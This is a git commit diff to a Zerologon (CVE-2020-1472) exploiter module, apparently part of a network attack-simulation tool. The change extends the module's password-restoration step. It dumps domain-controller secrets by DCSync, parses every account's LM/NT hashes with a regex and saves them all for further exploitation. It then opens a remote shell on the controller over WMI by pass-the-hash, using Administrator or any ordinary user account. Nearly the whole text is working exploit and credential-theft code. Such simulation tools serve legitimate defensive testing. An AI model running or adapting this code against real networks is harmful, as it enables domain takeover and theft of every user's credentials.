restoring pwd: uses next available user account in case Administrator isn't found

and save all other credentials
This commit is contained in:
Shreya 2021-02-15 19:37:45 +05:30
parent c20e677940
commit e0ae8381ba
1 changed files with 61 additions and 36 deletions

View File

@ -5,8 +5,9 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g
import logging import logging
import os import os
import re
from binascii import unhexlify from binascii import unhexlify
from typing import List, Optional from typing import Dict, List, Optional
import impacket import impacket
from impacket.dcerpc.v5 import nrpc from impacket.dcerpc.v5 import nrpc
@ -64,9 +65,7 @@ class ZerologonExploiter(HostExploiter):
# Restore DC's original password. # Restore DC's original password.
if _exploited: if _exploited:
is_pwd_restored, restored_pwd_hashes = self.restore_password() if self.restore_password():
if is_pwd_restored:
self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes)
LOG.info("System exploited and password restored successfully.") LOG.info("System exploited and password restored successfully.")
else: else:
LOG.info("System exploited but couldn't restore password!") LOG.info("System exploited but couldn't restore password!")
@ -138,22 +137,22 @@ class ZerologonExploiter(HostExploiter):
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.") LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
return _exploited return _exploited
def restore_password(self) -> (Optional[bool], List[str]): def restore_password(self) -> bool:
LOG.info("Restoring original password...") LOG.info("Restoring original password...")
try: try:
admin_pwd_hashes = None
rpc_con = None rpc_con = None
# DCSync to get Administrator password's hashes. # DCSync to get some username and its password's hashes.
LOG.debug("DCSync; getting Administrator password's hashes.") LOG.debug("DCSync; getting some username and its password's hashes.")
admin_pwd_hashes = self.get_admin_pwd_hashes() user_details = self.get_user_details()
if not admin_pwd_hashes: if not user_details:
raise Exception("Couldn't extract Administrator password's hashes.") raise Exception("Couldn't extract username and/or its password's hashes.")
# Use Administrator password's NT hash to get original DC password's hashes. # Use above extracted credentials to get original DC password's hashes.
LOG.debug("Getting original DC password's NT hash.") LOG.debug("Getting original DC password's NT hash.")
original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes)) username, user_pwd_hashes = user_details[0], [user_details[1]['lm_hash'], user_details[1]['nt_hash']]
original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes))
if not original_pwd_nthash: if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's NT hash.") raise Exception("Couldn't extract original DC password's NT hash.")
@ -162,7 +161,7 @@ class ZerologonExploiter(HostExploiter):
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
except Exception as e: except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}") LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return False, admin_pwd_hashes return False
# Start restoration attempts. # Start restoration attempts.
LOG.debug("Attempting password restoration.") LOG.debug("Attempting password restoration.")
@ -170,17 +169,17 @@ class ZerologonExploiter(HostExploiter):
if not _restored: if not _restored:
raise Exception("Failed to restore password! Max attempts exceeded?") raise Exception("Failed to restore password! Max attempts exceeded?")
return _restored, admin_pwd_hashes return _restored
except Exception as e: except Exception as e:
LOG.error(e) LOG.error(e)
return None, admin_pwd_hashes return False
finally: finally:
if rpc_con: if rpc_con:
rpc_con.disconnect() rpc_con.disconnect()
def get_admin_pwd_hashes(self) -> List[str]: def get_user_details(self) -> (str, Dict):
try: try:
options = OptionsForSecretsdump( options = OptionsForSecretsdump(
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
@ -192,13 +191,21 @@ class ZerologonExploiter(HostExploiter):
username=f"{self.dc_name}$", username=f"{self.dc_name}$",
options=options) options=options)
user = 'Administrator' extracted_creds = self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
return hashes # format - [lmhash, nthash] admin = 'Administrator'
if admin in extracted_creds:
return admin, extracted_creds[admin]
else:
for user in extracted_creds.keys():
if extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts
return user, extracted_creds[user]
except Exception as e: except Exception as e:
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
return None
def get_dumped_secrets(self, def get_dumped_secrets(self,
remote_name: str = '', remote_name: str = '',
username: str = '', username: str = '',
@ -209,17 +216,35 @@ class ZerologonExploiter(HostExploiter):
dumped_secrets = dumper.dump().split('\n') dumped_secrets = dumper.dump().split('\n')
return dumped_secrets return dumped_secrets
@staticmethod def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict:
def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]: extracted_creds = {}
for secret in secrets:
if user in secret:
# format of secret - "domain\uid:rid:lmhash:nthash:::"
hashes = secret.split(':')[2:4]
return hashes # format - [lmhash, nthash]
def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None: # format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1]) re_phrase =\
self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1]) r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])'
for line in dumped_secrets:
secret = re.fullmatch(pattern=re_phrase, string=line)
if secret:
parts_of_secret = secret[0].split(':')
user = parts_of_secret[0].split('\\')[-1] # we don't want the domain
user_RID, lmhash, nthash = parts_of_secret[1:4]
extracted_creds[user] = {'RID': int(user_RID), # relative identifier
'lm_hash': lmhash,
'nt_hash': nthash}
self.store_extracted_creds_for_exploitation(extracted_creds)
return extracted_creds
def store_extracted_creds_for_exploitation(self, extracted_creds: Dict) -> None:
for user in extracted_creds.keys():
self.add_extracted_creds_to_exploit_info(user,
extracted_creds[user]['lm_hash'],
extracted_creds[user]['nt_hash'])
self.add_extracted_creds_to_monkey_config(user,
extracted_creds[user]['lm_hash'],
extracted_creds[user]['nt_hash'])
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
self.exploit_info['credentials'].update({ self.exploit_info['credentials'].update({
@ -242,8 +267,8 @@ class ZerologonExploiter(HostExploiter):
if nthash not in self._config.exploit_ntlm_hash_list: if nthash not in self._config.exploit_ntlm_hash_list:
self._config.exploit_ntlm_hash_list.append(nthash) self._config.exploit_ntlm_hash_list.append(nthash)
def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str: def get_original_pwd_nthash(self, username: str, user_pwd_hashes: str) -> str:
if not self.save_HKLM_keys_locally(admin_pwd_hashes): if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
return return
try: try:
@ -268,12 +293,12 @@ class ZerologonExploiter(HostExploiter):
finally: finally:
self.remove_locally_saved_HKLM_keys() self.remove_locally_saved_HKLM_keys()
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool: def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool:
LOG.debug("Starting remote shell on victim.") LOG.debug(f"Starting remote shell on victim with user: \"{username}\" and hashes: \"{user_pwd_hashes}\". ")
wmiexec = Wmiexec(ip=self.dc_ip, wmiexec = Wmiexec(ip=self.dc_ip,
username='Administrator', username=username,
hashes=admin_pwd_hashes, hashes=user_pwd_hashes,
domain=self.dc_ip) domain=self.dc_ip)
remote_shell = wmiexec.get_remote_shell() remote_shell = wmiexec.get_remote_shell()